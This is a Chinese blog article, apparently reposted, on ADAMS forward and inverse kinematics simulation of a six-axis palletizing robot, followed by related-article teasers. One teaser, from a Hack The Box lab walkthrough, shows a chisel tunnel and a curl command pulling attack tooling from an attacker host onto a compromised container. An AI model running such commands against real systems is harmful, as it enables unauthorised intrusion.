article-六轴码垛机器人admas正逆运动学仿真

news2024/11/24 4:33:15

基座自由度、大臂摆动自由度、小臂摆动自由度、腕部Y轴摆动自由度、腕部Z轴摆动自由度及其腕部末端X轴旋转自由度

其导入过程为:

  1. 机器人三维模型总体有6个部分。打开机器人的SolidWork三维模型,依次另存为6个“Parasolid(x_t)”类型的文件。
  2. 打开ADAMS/View,将保存好的“Parasolid(x_t)”类型的文件依次导入,如图5-11所示为“部件”打开,其目的是保证每个部件内的零件都相对固定为一个整体。

导入后的ADAMS模型如图5-12。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yHLRXLuc-1684939816457)(data:image/svg+xml;utf8, )]

图5-11 导入ADAMS的部件选择

图5-12 导入ADAMS的样机模型

5.4 机器人运动学仿真

5.4.1 轨迹规划

轨迹规划即为求解机器人运动学逆解的过程。将机器人模型导入ADAMS后,首先是为机器人添加材料,本机器人结构为铝合金。添加转动副,各个转动副从基座到手腕末端依次命名为JOINT_1、JOINT_2、JOINT_3、JOINT_4、JOINT_5和JOINT_6,在基座与大地(ground)间添加固定副。仿真模型如图5-13所示。

在本机器人的手腕末端添加一般点驱动,如图,定义末端轨迹为一条在XY平面的螺旋线。末端端点三个坐标分量X、Y、Z随时间变化的函数为:

TraX:disp( time ) = 100*time*cos( PI*time );

TraY:disp( time ) = 100*time*sin( PI*time );

TraZ:disp( time ) = 0*time;

RotX:disp( time ) = 0*time;

RotY:disp( time ) = 0*time;

RotZ:disp( time ) = 0*time;

仿真的时间需要设置为2000毫秒,仿真步数要设为500,利用仿真的轨迹跟踪功能绘制出如图5-14所示运动轨迹。打开软件的后处理模块可观察到关节角的变化曲线如图5-15,即完成了本机器人的运动学反解,通过图中可以看出本机器人的腕转关节和腕摆关节有较大的抖动,而其他各关节运动曲线较平滑,总体来看机器人的运动比较平稳。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9DoRNlwM-1684939816457)(data:image/svg+xml;utf8, )]

图5-13 机器人ADAMS运动学仿真模型

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fH1VmbhO-1684939816458)(data:image/svg+xml;utf8, )]

图5-14 机器人末端轨迹规划

5.4.2 各关节角位移变化图

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xqKHn99C-1684939816458)(data:image/svg+xml;utf8, )]

(a)J1变化曲线

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-39oEyiEF-1684939816459)(data:image/svg+xml;utf8, )]

(b)J2变化曲线

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LrxFTUAM-1684939816460)(data:image/svg+xml;utf8, )]

(c)J3变化曲线

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jHWkZzSF-1684939816460)(data:image/svg+xml;utf8, )]

(d)J4变化曲线

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-au84hSrc-1684939816461)(data:image/svg+xml;utf8, )]

(e)J5变化曲线

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7K86G1qV-1684939816461)(data:image/svg+xml;utf8, )]

(f)J6变化曲线

图5-15 关节角位移图

5.4.3 正运动学仿真

完成机器人的运动学逆解后需要对求出的各个关节的角度再进行仿真验证。打开后处理模块中的各关节角度曲线,利用Spline样条函数采样工具对各曲线采集样点数据,并将采集的样点数据作为各关节驱动的输入参数。

删除掉前面在机器人手腕末端添加的一般点驱动,将图中各曲线分别转换为Spline曲线。在每个关节处选择添加驱动,从基座到手腕末端将各个驱动命名为motion_1、motion_2、motion_3、motion_4、motion_5和motion_6,定义各个关节的运动驱动函数分别为:

motion_1:AKISPL(time , 0 , SPLINE_1 , 0);

motion_2:AKISPL(time , 0 , SPLINE_2 , 0);

motion_3:AKISPL(time , 0 , SPLINE_3 , 0);

motion_4:AKISPL(time , 0 , SPLINE_4 , 0);

motion_5:AKISPL(time , 0 , SPLINE_5 , 0);

motion_6:AKISPL(time , 0 , SPLINE_6 , 0);

再次选择仿真,设置仿真的时间为2000毫秒,仿真的步数为500步,可观察到机器人在各个关节的驱动下绘制出了其手腕末端的轨迹,并且该运动轨迹与前面添加一般点驱动后的运动学逆解的末端运动轨迹即图5-15所示轨迹基本一样,采用ADAMS从已知的位姿变换再反求机器人关节角度的正确性得到了验证。如图5-16,从图中可以看出机器人各关节能在样条函数Spline的驱动下完成机器人的轨迹规划。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iHgQ1K3i-1684939816462)(data:image/svg+xml;utf8, )]

图5-16 机器人末端各方位位移变化图

三维模型与admas下载链接

(下载咨询链接:matlab正逆运动学分析与轨迹规划])

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/565210.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【MATLAB第36期】基于MATLAB的QOWOA-LSTM鲸鱼优化算法准反向策略的WOA优化LSTM时间序列预测模型 优势明显,注释详细,绘图丰富

【MATLAB第36期】基于MATLAB的QOWOA-LSTM鲸鱼优化算法准反向策略的QOWOA优化LSTM时间序列预测模型,优势明显,注释详细,绘图丰富 一、代码优势 1.使用优化后的QOWOA算法优化LSTM超参数(学习率,隐藏层节点,…

2020下半年上午题

2020下半年 d a b 小阶向大阶对齐 b b 平均cpi: MIPS: d c 公加验,私解签 加密防止被动攻击,认证防止主动攻击 a 访问控制包括:授权,确定存取权限,实施存取权限 c a c a 先申请先得 b b 著作权包括&…

OpenCV使用SURF和SIFT算法报错解决记录

OpenCV使用SURF和SIFT算法报错解决记录 1.报错代码,使用以下两种写法都会报错 # 创建SIFT和SURF特征提取器 # 写法1 sift cv2.xfeatures2d.SIFT_create() surf cv2.xfeatures2d.SURF_create() # 写法2 sift cv2.SIFT_create() surf cv2.SURF_create()第一种报…

架构整洁之道下篇(实现细节)

目录 1.实现细节 1.1.数据库只是实现细节 1.2.Web是实现细节 1.3.应用程序框架是实现细节 1.4.案例分析:视频销售网站 1.5.拾遗 1.5.1.按层封装 1.5.2.按功能封装 1.5.3.端口和适配器 1.5.4.按组件封装 1.5.5.组织形式和封装的区别 2.总结 1.实现细节 …

13_Uboot移植

目录 查找NXP官方的开发板默认配置文件 编译NXP官方开发板对应的uboot 烧写验证与驱动测试 SD卡和EMMC驱动检查 LCD驱动检查 网络驱动 在U-Boot中添加自己的开发板 添加开发板默认配置文件 添加开发板对应的头文件 添加开发板对应的板级文件夹 修改mx6ull_alientek_…

Vue——状态管理库Pinia

写在前面:本文参考小满大牛的pinia专栏 一、Vuex与Pinia Vuex 和 Pinia 均是 Vue.js 的状态管理库,它们为 Vue 应用程序提供了一种集中式的、可预测的状态管理解决方案。 Vuex 是 Vue.js 官方推荐的状态管理库之一。它的核心概念包括 state、mutation…

【C++初阶】类与对象(中)之取地址及const取地址操作符重载

👦个人主页:Weraphael ✍🏻作者简介:目前学习C和算法 ✈️专栏:C航路 🐋 希望大家多多支持,咱一起进步!😁 如果文章对你有帮助的话 欢迎 评论💬 点赞&#x1…

架构整洁之道中篇(组件构建原则软件架构)

目录 1.组件构建原则 1.1.组件 1.2.组件聚合 1.3.组件耦合 2.软件架构 2.1.什么是软件架构? 2.2.独立性 2.3.划分边界 2.4.策略与层次 2.5.业务逻辑 2.6.尖叫的软件架构 2.7.整洁架构 2.8.层次与边界 2.9.Main组件 2.10.测试边界 2.11.整洁的嵌入式…

Edgedetect2

边缘检测,检查数据变化,用异或实现 对于 8 位矢量中的每个位,检测输入信号何时从一个时钟周期变为下一个时钟周期(检测任何边沿)。输出位应在发生 0 到 1 转换后设置周期。 以下是一些示例。为清楚起见,in…

HNU-电路与电子学-小班4

第四次小班讨论 一、题目 1、书 3-41、3-62 2、书 4-23、4-26 3、设计一个时序电路。该电路仅在连续三个或三个以上时钟期间,且两个输入信号 X1 和 X2 相同时,输出信号 Z 为 1,其余情况 Z 为 0。试做出该电路的 Mealy 机和 Moore 机状态…

Windows:设置右键用RStudio打开文件和文件夹

0. 前言 在使用RStudio写R脚本的时候总是要先打开它,再通过它打开脚本和文件夹,感觉不是很方便。由于VSCode以及其他软件都可以整合到右键菜单中打开文件或文件夹,因此就折腾了一下怎么在右键中使用RStudio打开文件,下面是效果展…

简析java JNI技术

前言 认识JNI(Java Native Interface)技术,了解Java调用本地C/C库的简单原理以及一些基本的知识点;自己编写一个自定义的JNI接口。 一、简介 JNI是Java Native Interface的缩写,通过使用 Java本地接口书写程序,可以确保代…

在vue3中如何使用百度地图API(详细步骤+demo示例)

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 一、注册账号、申请成为开发者二、申请密钥AK三、在vue3.0中使用百度地图API 提示:以下是本篇文章正文内容,下面案例可供参考 一、注册账号…

htb Mailroom里容器(Debian 11)图形界面显示在本机kali上,socat,unix转发,容器里不安装xrdp

在攻击机kali(ip:10.10.14.18)上运行chisel服务端: chisel server -v -p 60080 --socks5 在靶机的虚拟机(ssh root10.10.11.209)上,执行docker exec containers_sites_1 /bin/bash,进入容器里 进入容器后,先下载kali上的socat和chisel: curl -o /bin/chisel http://10.10.14…

使用JMeter+Grafana+Influxdb搭建可视化性能测试监控平台

【背景说明】 使用jmeter进行性能测试时,工具自带的查看结果方式往往不够直观和明了,所以我们需要搭建一个可视化监控平台来完成结果监控,这里我们采用三种JMeterGrafanaInfluxdb的方法来完成平台搭建 【实现原理】 通过influxdb数据库存储…

初学用于华为鸿蒙系统(HarmonyOS)的编程开发工具HUAWEI DevEco Studio:你好,鴻蒙~

本文是6月6日博文“初学用于华为鸿蒙系统(HarmonyOS)的编程开发工具HUAWEI DevEco Studio”的续篇。 成功通过华为开发者联盟的实名认证审核后,使用远程模拟器(Remote Emulator)运行程序。 步骤如下: 菜单Tools - Device Manager: 点击设备…

Vue列表渲染

1,回顾HTML列表? 答:列表分为顺序列表ol,无序列表ul,用于在网页上以表格的形式进行数据展示,数据放在单元格之中,可以用于布局或者展示某个具体对象的信息。li表示列表的每一项。自定义列表为dl…

C++多态详解(虚函数重写、接口继承、虚函数表详解)

目录 1. 多态概念 2. 多态的定义及实现 2.1 多态的构成条件 2.2 虚函数重写 2.3 C11 override和final 2.4 重载、覆盖(重写)、隐藏(重定义)的对比 3. 抽象类 3.1 概念 3.2 接口继承和实现继承 4. 多态的原理 4.1 虚函数表 4.2…

ESP32设备驱动-VCNL4010光传感器驱动

VCNL4010光传感器驱动 文章目录 VCNL4010光传感器驱动1、VCNL4010介绍2、硬件准备3、软件准备4、驱动实现1、VCNL4010介绍 VCNL4010 专为更短的距离而设计,不超过 200 毫米(约 7.5" ) 并且根据我们的实验,我们发现它在大约 10-150 毫米的距离内效果最佳。这对于检测手…

水表远程监控系统有什么功能吗?

水表远程监控系统是通过远程传输水表数据,实现对水表的远程监控和管理的一种智能化系统。它主要具备以下功能: 1.远程抄表功能:通过远程传输技术,实现对水表的远程抄表和监控,无需人工上门抄表,节省人力成本…